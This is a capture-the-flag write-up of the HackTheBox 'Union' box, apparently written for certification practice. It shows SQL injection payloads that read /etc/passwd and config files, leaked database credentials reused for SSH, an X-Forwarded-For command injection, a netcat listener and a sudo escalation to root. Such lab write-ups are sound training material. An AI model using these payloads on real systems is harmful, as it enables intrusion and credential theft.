CPTS Prep - Union - Linux Medium

Union is a medium-difficulty Linux box on HackTheBox that revolves around a single web application with a homemade SQL injection filter. The path to root goes from bypassing that filter, to reading source code and config files off disk, to abusing a sudo rule tied to an iptables command. Below is the full walkthrough, including every command I used along the way.

Recon

I started with a standard Nmap scan against the target.

r3v@copium ~> sudo nmap -sC -sV 10.129.67.153
[sudo] password for r3v: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-07 11:05 CEST
Nmap scan report for 10.129.67.153
Host is up (0.10s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.40 seconds

Only a single web server running nginx on port 80 was open. I followed up with a more aggressive Nmap scan while looking over the site by hand, but it didn't turn up anything new or interesting.

Web Enumeration

The site itself is mostly blank, with a "Join the UHC" November qualifiers page containing a player eligibility check. That form looked like a promising spot to test for SQL injection.

Finding the Injection

The eligibility check takes a player parameter and drops it straight into a query. Testing it out confirmed a classic UNION-based SQL injection.

' union select @@version;-- -
' union select user();-- -

This returned the database user, uhc@localhost.

' union select database();-- -

This confirmed the current database was november.

From there I started enumerating tables in that schema.

' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -"

The response came back as:

Sorry, flag,players you are not eligible due to already qualifying.

So there are two tables of interest: flag and players. Next I pulled the column names for each.

' union select group_concat(table_name, ':', column_name) from INFORMATION_SCHEMA.columns where table_schema='november';-- -

With that mapped out, I queried the flag table directly.

' union select group_concat(one) from flag;-- -

That returned the first flag:

Sorry, UHC{F1rst_5tep_2_Qualify} you are not eligible due to already qualifying.

At this point it seemed likely this flag was meant to be submitted somewhere else in the app, most likely on the challenge.php page.

Submitting the flag there confirmed it, and unlocked the next stage of the app.

Reading Files Off Disk

Since the injection point supported UNION-based queries, I tried reading local files with load_file().

' union select load_file('/etc/passwd');-- -

This worked, confirming file read access via the database user. The browser wasn't rendering the output cleanly though, so I switched to curl to pull raw responses instead.

r3v@copium ~> curl -s -X POST http://10.129.67.153 -d "player=' union select load_file('/var/www/html/index.php');-- -"

This dumped the full source of index.php:

<?php
  require('config.php');
  if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {

	$player = strtolower($_POST['player']);

	// SQLMap Killer
	$badwords = ["/sleep/i", "/0x/i", "/\*\*/", "/-- [a-z0-9]{4}/i", "/ifnull/i", "/ or /i"];
	foreach ($badwords as $badword) {
		if (preg_match( $badword, $player )) {
			echo 'Congratulations ' . $player . ' you may compete in this tournament!';
			die();
		}
	}

	$sql = "SELECT player FROM players WHERE player = '" . $player . "';";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_array( $result, MYSQLI_ASSOC);
	if ($row) {
		echo 'Sorry, ' . $row['player'] . " you are not eligible due to already qualifying.";
	} else {
		echo 'Congratulations ' . $player . ' you may compete in this tournament!';
		echo '<br />';
		echo '<br />';
		echo 'Complete the challenge <a href="/challenge.php">here</a>';
	}
	exit;
  }
?>

This is where the developer's homemade filter, jokingly named "SQLMap Killer" in the comments, lives. It blocks input matching a short list of regex patterns before the query ever runs.

With source code disclosure available, the next logical target was the database config file.

r3v@copium ~> curl -s -X POST http://10.129.67.153 -d "player=' union select load_file('/var/www/html/config.php');-- -"

That returned the database credentials:

<?php
  session_start();
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Getting a Shell

With a username and password in hand, I tried them against SSH.

r3v@copium ~> ssh [email protected]
The authenticity of host '10.129.67.153 (10.129.67.153)' can't be established.
ED25519 key fingerprint is SHA256:hE6H4DrsHebfs+gclhz9SL77tMpy8aKR3vp8Y0NRDvY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.67.153' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ 

They worked, and the user flag was sitting right there in the home directory.

Finding the Privilege Escalation Path

Once on the box, I looked through the rest of the application's PHP files. challenge.php handles verifying the flag submitted from the earlier step, using a proper parameterized query this time, and then redirects to firewall.php on success.

<?php
  require('config.php');
  $_SESSION['Authenticated'] = False;

  if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {
    $sql = "SELECT * FROM flag where one = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("s", $_POST['flag']);
    $stmt->execute();
    $stmt->store_result();
    if ($stmt->num_rows == 1) {
      $_SESSION['Authenticated'] = True;
      header("Location: /firewall.php");
      exit;
    }
  }
?>

firewall.php is the interesting part:

<?php
require('config.php');

if (!($_SESSION['Authenticated'])) {
  echo "Access Denied";
  exit;
}

?>
...
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>

This page takes the X-Forwarded-For header, if present, and drops it directly into a system() call that runs iptables with sudo. There's no sanitization on that header at all, which means it's a straightforward command injection point.

I ran LinPEAS and poked around the uhc user for a while first, but nothing interesting turned up there. Once I found this code path, it was clear the privilege escalation was going to come through the web app itself rather than anything local.

That confirmed command execution through the header. From there I set up a listener and sent a reverse shell payload through the same X-Forwarded-For header in Burp.

Sending that request causes Burp to hang, but a connection does come through in the background.

Root

r3v@copium ~> nc -lvnp 4446
Listening on 0.0.0.0 4446
Connection received on 10.129.67.153 55406
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@union:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL
www-data@union:~/html$ 

The reverse shell landed as www-data, and sudo -l showed that user could run absolutely anything as root with no password. Getting to root from there was as simple as:

www-data@union:~/html$ sudo bash
sudo bash
root@union:/var/www/html# whoami
whoami
root

The root flag was sitting in the root user's home directory.

Summary

Union is a good example of why blocklist-based filtering doesn't hold up against SQL injection. The "SQLMap Killer" filter blocked specific keywords and patterns rather than actually parameterizing the query, which left plenty of room to enumerate the database, read files with load_file(), and pull credentials straight out of config.php. From there, a sudo rule tied to an unsanitized iptables command in firewall.php turned a simple www-data shell into full root access. The fix on the developer's end would have been parameterized queries everywhere, not just in challenge.php, and stripping or validating the X-Forwarded-For header before it ever reaches a system() call.